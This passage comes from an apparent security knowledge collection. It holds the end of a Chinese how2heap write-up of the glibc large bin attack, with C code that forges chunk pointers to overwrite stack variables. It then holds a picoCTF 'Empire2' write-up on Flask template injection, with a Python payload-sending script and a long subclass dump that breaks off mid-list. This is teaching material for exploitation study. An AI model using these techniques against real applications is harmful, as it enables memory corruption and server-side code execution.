size of the freed second large chunk to force malloc to insert the freed third large chunk" " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and" " \"bk_nextsize\" to 32 bytes before stack_var2\n\n"); p2[-1] = 0x3f1; p2[0] = 0; p2[2] = 0; p2[1] = (unsigned long)(&stack_var1 - 2); p2[3] = (unsigned long)(&stack_var2 - 4); //------------------------------------ malloc(0x90); fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist." " During this time, targets should have already been rewritten:\n"); fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1); fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2); return 0; } ``` 编译完以后,注意!一定要用 glibc2.25 的 loader,改变 loader 的方法可以看这里:https://www.jianshu.com/p/1a966b62b3d4 pwngdb 走起,开始我们的分析之旅: 先跳到这个语句:(比 how2heap 源文件多添加了一个 p4 变量) 由于刚 free() 掉了两个 chunk。现在的 unsorted bin 有两个空闲的 chunk 要注意的是: p1 的大小是 `0x330 < 0x3f0` 大小属于 small bin,而 p2 的大小是 `0x410` 属于large bin 75 行做了很多事情,我来概述一下: + 从 unsorted bin 中拿出最后一个 chunk(p1 属于 small bin 的范围) + 把这个 chunk 放入 small bin 中,并标记这个 small bin 有空闲的 chunk + 再从 unsorted bin 中拿出最后一个 chunk(p2 属于 large bin 的范围) + 把这个 chunk 放入 large bin 中,并标记这个 large bin 有空闲的 chunk + 现在 unsorted bin 为空,从 small bin (p1)中分配一个小的 chunk 满足请求 0x90,并把剩下的 chunk(0x330 - 0xa0)放入 unsorted bin 中 也就是说,现在: unsorted bin 中有一个 chunk 大小是 `0x330 - 0xa0 = 0x290` large bin 某一个序列的 bin 中有一个 chunk 大小是 `0x410` **好我们继续调试**: 又 free 了一个大小为 0x410 的 large bin chunk。也就是说现在 unsorted bin 有两个空闲的 chunk,末尾是大小 `0x290` 大小的 chunk,第一个是 size 为 `0x410` 的 chunk。 接着开始构造: 修改 p2(large bin chunk),修改结果如下: 再来看看`malloc(0x90)`做了什么: 中间的过程概述一下,待会详细说重点: 与第一次 `malloc(0x90)` 过程类似: + 从 unsorted bin 中拿出最后一个 chunk(size = 0x290),放入 small bin 中,标记该序列的 small bin 有空闲 chunk + 再从 unsorted bin 中拿出最后一个 chunk(size = 0x410) **重点来了:** 由于这次拿的是属于 large bin chunk,进入了 else 分支: 我们继续: **在一个序列的 large bin chunk 中 fd_nextsize 的方向是 size 变小的方向。这个循环的意思是找到一个比当前 fwd 指的 chunk 要大的地址,存入 fwd 中**。 由于当前 fwd 的 size 被我们修改过=`0x3f0`,所以没有进入循环。在这里就有一个漏洞的限制,放在后面说。 这个原本的意思是把从 unsorted bin 中来的 chunk 插入这个序列中,但是这里没有检查合法性。这里存在这一个利用: 之前做的构造,把 fwd 的 bk_nextsize 指向了另一个地址 ```c victim->bk_nextsize = fwd->bk_nextsize // then victim->bk_nextsize->fd_nextsize = victim; ``` 也就是: ```c addr2->fd_nextsize = victim; // 等价于 *(addr2+4) = victim; ``` 所以修改了 `stack_var2` 的值。 接着还存着另外一个利用: ```c bck = fwd->bk; // ...... mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; ``` ```c bck->fd = victim; // 等价于 (fwd->bk)->fd = victim; // 等价于 *(addr1+2) = victim; ``` 修改了 `stack_var1` 的值。 至此利用完毕。由于最后分配的还是 small bin 中的 chunk,与 large bin 中的 chunk 也无关了。 ## 总结 large bin attack 的利用方法 how2heap 中也说了,large bin attack 是未来更深入的利用。现在我们来总结一下利用的条件: + 可以修改一个 large bin chunk 的 data + 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面 + 通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击 + 可以修改 _IO_list_all 便于伪造 _IO_FILE 结构体进行 FSOP。
sec-knowleage
# Empire2 Web Exploitation, 450 points ## Description: > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: https://2019shell1.picoctf.com/problem/13253/, can you help us find it? ## Solution: This is the follow-up for [Empire1](Empire1.md). The website interface is the same, but the SQL injection vulnerability that worked last time is blocked now. Instead, we have a Flask template injection vulnerability: (Some) Python code entered between double curly brackets is executed, and the output contains the response instead of the raw expression. For example, we can enter: ``` {{4*4}} ``` And as a response, see: ``` Very Urgent: 16 ``` We'll use a slightly modified version of Empire1's shell utility to explore this challenge: ```python import re import html import requests from cmd import Cmd from bs4 import BeautifulSoup class Empire2(object): BASE_URL = "https://2019shell1.picoctf.com/problem/13253" def __init__(self): self.session = requests.Session() def login(self, username, password): text = self.post(self.BASE_URL + "/login", {"username": username, "password": password}) if "Invalid username or password" in text: raise Exception("Can't login") def post(self, uri, data): r = self.session.get(uri, headers = {"Referer": uri}) csrf = self.get_csrf_token(r.text) d = {"csrf_token": csrf} d.update(data) r = self.session.post(uri, data = d, allow_redirects = True, headers = {"Referer": uri}) if r.status_code != 200: raise Exception("Can't post to '{}'".format(uri)) return r.text def add_item(self, item): text = self.post(self.BASE_URL + "/add_item", {"item": item}) if "Item Added" not in text: raise Exception("Can't add item '{}'".format(item)) def get_last_item(self): r = self.session.get(self.BASE_URL + "/list_items") # Due to a bug in the website, there is an incorrect "</body>" tag in the middle of the source code. # This causes BeautifulSoup to fail, so we just remote it html = r.text.replace("</body>", "", 1) parsed_html = BeautifulSoup(html, "lxml") return parsed_html.body.find_all('div', attrs={'class':'well well-sm'})[-1].findChildren("li" , recursive=False)[0].get_text().replace("Very Urgent: ", "") def get_csrf_token(self, html): token = re.search(r'<input id="csrf_token" name="csrf_token" type="hidden" value="([^"]+)">', html, re.MULTILINE) if token is None: raise Exception("Can't find CSRF token") return token.group(1) class MyPrompt(Cmd): def __init__(self): Cmd.__init__(self) self.site = Empire2() self.site.login("user", "password") print "Logged in" def do_exit(self, inp): return True def do_send(self, param): # Literal curly brackets are escaped by another set of curly brackets q = "{{{{{}}}}}".format(param) print "Sending: '{}'".format(q) self.site.add_item(q) print self.site.get_last_item() MyPrompt().cmdloop() ``` Since direct access to the Python built-ins is blocked, we'll build our way up using the same technique that worked in last year's [Flaskcards](/2018_picoCTF/Flaskcards.md). Session: ```console root@kali:/media/sf_CTFs/pico/Empire2# python shell.py Logged in (Cmd) send 4*4 Sending: '{{4*4}}' 16 (Cmd) send ''.__class__ Sending: '{{''.__class__}}' <class 'str'> (Cmd) send ''.__class__.mro() Sending: '{{''.__class__.mro()}}' [<class 'str'>, <class 'object'>] (Cmd) send ''.__class__.mro()[1] Sending: '{{''.__class__.mro()[1]}}' <class 'object'> (Cmd) send ''.__class__.mro()[1].__subclasses__() Sending: '{{''.__class__.mro()[1].__subclasses__()}}' [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'contextlib.ContextDecorator'>, <class 'uwsgi._Input'>, <class 'uwsgi.SymbolsImporter'>, <class 'uwsgi.ZipImporter'>, <class 'uwsgi.SymbolsZipImporter'>, <class '_ast.AST'>, <class 'enum.auto'>, <enum 'Enum'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'Struct'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'concurrent.futures._base._Waiter'>, <class 'concurrent.futures._base._AcquireFutures'>, <class 'concurrent.futures._base.Future'>, <class 'concurrent.futures._base.Executor'>, <class 'queue.Queue'>, <class 'multiprocessing.process.BaseProcess'>, <class '_socket.socket'>, <class 'array.array'>, <class 'multiprocessing.reduction._C'>, <class 'multiprocessing.reduction.AbstractReducer'>, <class 'multiprocessing.context.BaseContext'>, <class '_multiprocessing.SemLock'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'multiprocessing.util.Finalize'>, <class 'multiprocessing.util.ForkAwareThreadLock'>, <class 'multiprocessing.connection._ConnectionBase'>, <class 'multiprocessing.connection.Listener'>, <class 'multiprocessing.connection.SocketListener'>, <class 'multiprocessing.connection.ConnectionWrapper'>, <class 'concurrent.futures.process._ExceptionWithTraceback'>, <class 'concurrent.futures.process._WorkItem'>, <class 'concurrent.futures.process._ResultItem'>, <class 'concurrent.futures.process._CallItem'>, <class 'concurrent.futures.thread._WorkItem'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'asyncio.events.Handle'>, <class 'asyncio.events.AbstractServer'>, <class 'asyncio.events.AbstractEventLoop'>, <class 'asyncio.events.AbstractEventLoopPolicy'>, <class 'asyncio.coroutines.CoroWrapper'>, <class 'asyncio.futures._TracebackLogger'>, <class 'asyncio.futures.Future'>, <class '_asyncio.Future'>, <class '_asyncio.FutureIter'>, <class 'TaskStepMethWrapper'>, <class 'TaskWakeupMethWrapper'>, <class 'asyncio.locks._ContextManager'>, <class 'asyncio.locks._ContextManagerMixin'>, <class 'asyncio.locks.Event'>, <class 'asyncio.protocols.BaseProtocol'>, <class 'asyncio.queues.Queue'>, <class 'asyncio.streams.StreamWriter'>, <class 'asyncio.streams.StreamReader'>, <class 'asyncio.subprocess.Process'>, <class 'asyncio.transports.BaseTransport'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'textwrap.TextWrapper'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'asyncio.sslproto._SSLPipe'>, <class 'asyncio.unix_events.AbstractChildWatcher'>, <class 'jinja2.asyncsupport.AsyncLoopContextIterator'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'mimetypes.MimeTypes'>, <class 'gettext.NullTranslations'>, <class 'argparse._AttributeHolder'>, <class 'argparse.HelpFormatter._Section'>, <class 'argparse.HelpFormatter'>, <class 'argparse.FileType'>, <class 'argparse._ActionsContainer'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'blinker._saferef.BoundMethodWeakref'>, <class 'blinker._utilities._symbol'>, <class 'blinker._utilities.symbol'>, <class 'blinker._utilities.lazy_property'>, <class 'blinker.base.Signal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'app.config.Config'>, <class 'configparser.Interpolation'>, <class 'sqlalchemy.util._collections.ImmutableContainer'>, <class 'sqlalchemy.util._collections.Properties'>, <class 'sqlalchemy.util._collections.IdentitySet'>, <class 'sqlalchemy.util._collections.WeakSequence'>, <class 'sqlalchemy.util._collections.UniqueAppender'>, <class 'sqlalchemy.util._collections.ScopedRegistry'>, <class 'sqlalchemy.exc.DontWrapMixin'>, <class 'sqlalchemy.util.langhelpers.safe_reraise'>, <class 'sqlalchemy.util.langhelpers.PluginLoader'>, <class 'sqlalchemy.util.langhelpers.portable_instancemethod'>, <class 'sqlalchemy.util.langhelpers.memoized_property'>, <class 'sqlalchemy.util.langhelpers.group_expirable_memoized_property'>, <class 'sqlalchemy.util.langhelpers.MemoizedSlots'>, <class 'sqlalchemy.util.langhelpers.dependencies._importlater'>, <class 'sqlalchemy.util.langhelpers.dependencies'>, <class 'sqlalchemy.util.langhelpers.hybridproperty'>, <class 'sqlalchemy.util.langhelpers.hybridmethod'>, <class 'sqlalchemy.util.langhelpers.symbol'>, <class 'sqlalchemy.sql.visitors.Visitable'>, <class 'sqlalchemy.sql.visitors.ClauseVisitor'>, <class 'sqlalchemy.sql.base.Immutable'>, <class 'sqlalchemy.sql.base.DialectKWArgs'>, <class 'sqlalchemy.sql.base.Generative'>, <class 'sqlalchemy.sql.base.SchemaEventTarget'>, <class 'sqlalchemy.sql.operators.Operators'>, <class 'sqlalchemy.sql.operators.custom_op'>, <class 'sqlalchemy.sql.type_api.Emulated'>, <class 'sqlalchemy.sql.type_api.NativeForEmulated'>, <class 'sqlalchemy.sql.annotation.Annotated'>, <class 'sqlalchemy.sql.selectable.HasPrefixes'>, <class 'sqlalchemy.sql.selectable.HasSuffixes'>, <class 'sqlalchemy.sql.selectable.HasCTE'>, <class 'sqlalchemy.event.registry._EventKey'>, <class 'sqlalchemy.event.attr._empty_collection'>, <class 'sqlalchemy.event.base._UnpickleDispatch'>, <class 'sqlalchemy.event.base._Dispatch'>, <class 'sqlalchemy.event.base.Events'>, <class 'sqlalchemy.event.base._JoinedDispatcher'>, <class 'sqlalchemy.event.base.dispatcher'>, <class 'sqlalchemy.sql.schema._NotAColumnExpr'>, <class 'sqlalchemy.sql.schema.ColumnCollectionMixin'>, <class 'sqlalchemy.sql.schema._SchemaTranslateMap'>, <class 'sqlalchemy.cprocessors.UnicodeResultProcessor'>, <class 'sqlalchemy.DecimalResultProcessor'>, <class 'sqlalchemy.sql.sqltypes._LookupExpressionAdapter'>, <class 'sqlalchemy.sql.sqltypes.Concatenable'>, <class 'sqlalchemy.sql.sqltypes.Indexable'>, <class 'sqlalchemy.sql.util._repr_base'>, <class 'sqlalchemy.sql.util.ColumnAdapter._IncludeExcludeMapping'>, <class 'sqlalchemy.sql.functions._FunctionGenerator'>, <class 'sqlalchemy.sql.compiler.Compiled'>, <class 'sqlalchemy.sql.compiler.TypeCompiler'>, <class 'sqlalchemy.sql.compiler.IdentifierPreparer'>, <class 'sqlalchemy.engine.interfaces.Dialect'>, <class 'sqlalchemy.engine.interfaces.CreateEnginePlugin'>, <class 'sqlalchemy.engine.interfaces.ExecutionContext'>, <class 'sqlalchemy.engine.interfaces.Connectable'>, <class 'sqlalchemy.engine.interfaces.ExceptionContext'>, <class 'sqlalchemy.interfaces.PoolListener'>, <class 'sqlalchemy.interfaces.ConnectionProxy'>, <class 'sqlalchemy.log.Identified'>, <class 'sqlalchemy.log.InstanceLogger'>, <class 'sqlalchemy.log.echo_property'>, <class 'sqlalchemy.engine.base.Transaction'>, <class 'sqlalchemy.engine.base.Engine._trans_ctx'>, <class 'sqlalchemy.engine.url.URL'>, <class 'sqlalchemy.pool.base._ConnDialect'>, <class 'sqlalchemy.pool.base._ConnectionRecord'>, <class 'sqlalchemy.pool.base._ConnectionFairy'>, <class 'sqlalchemy.util.queue.Queue'>, <class 'sqlalchemy.pool.dbapi_proxy._DBProxy'>, <class 'sqlalchemy.engine.strategies.EngineStrategy'>, <class 'sqlalchemy.cresultproxy.BaseRowProxy'>, <class 'sqlalchemy.engine.result.ResultMetaData'>, <class 'sqlalchemy.engine.result.ResultProxy'>, <class 'sqlalchemy.sql.naming.ConventionDict'>, <class 'sqlalchemy.engine.reflection.Inspector'>, <class 'sqlalchemy.orm.base.InspectionAttr'>, <class 'sqlalchemy.orm.base._MappedAttribute'>, <class 'sqlalchemy.orm.collections._PlainColumnGetter'>, <class 'sqlalchemy.orm.collections._SerializableColumnGetter'>, <class 'sqlalchemy.orm.collections._SerializableAttrGetter'>, <class 'sqlalchemy.orm.collections.collection'>, <class 'sqlalchemy.orm.collections.CollectionAdapter'>, <class 'sqlalchemy.orm.path_registry.PathRegistry'>, <class 'sqlalchemy.orm.interfaces.MapperOption'>, <class 'sqlalchemy.orm.interfaces.LoaderStrategy'>, <class 'sqlalchemy.orm.attributes.Event'>, <class 'sqlalchemy.orm.attributes.AttributeImpl'>, <class 'sqlalchemy.orm.state.AttributeState'>, <class 'sqlalchemy.orm.state.PendingCollection'>, <class 'sqlalchemy.orm.instrumentation._SerializeManager'>, <class 'sqlalchemy.orm.instrumentation.InstrumentationFactory'>, <class 'sqlalchemy.orm.util.AliasedClass'>, <class 'sqlalchemy.orm.strategy_options.loader_option'>, <class 'sqlalchemy.orm.loading.PostLoad'>, <class 'sqlalchemy.orm.deprecated_interfaces.MapperExtension'>, <class 'sqlalchemy.orm.deprecated_interfaces.SessionExtension'>, <class 'sqlalchemy.orm.deprecated_interfaces.AttributeExtension'>, <class 'sqlalchemy.orm.evaluator.EvaluatorCompiler'>, <class 'sqlalchemy.orm.persistence.BulkUD'>, <class 'sqlalchemy.orm.query.Query'>, <class 'sqlalchemy.orm.query._QueryEntity'>, <class 'sqlalchemy.orm.query.QueryContext'>, <class 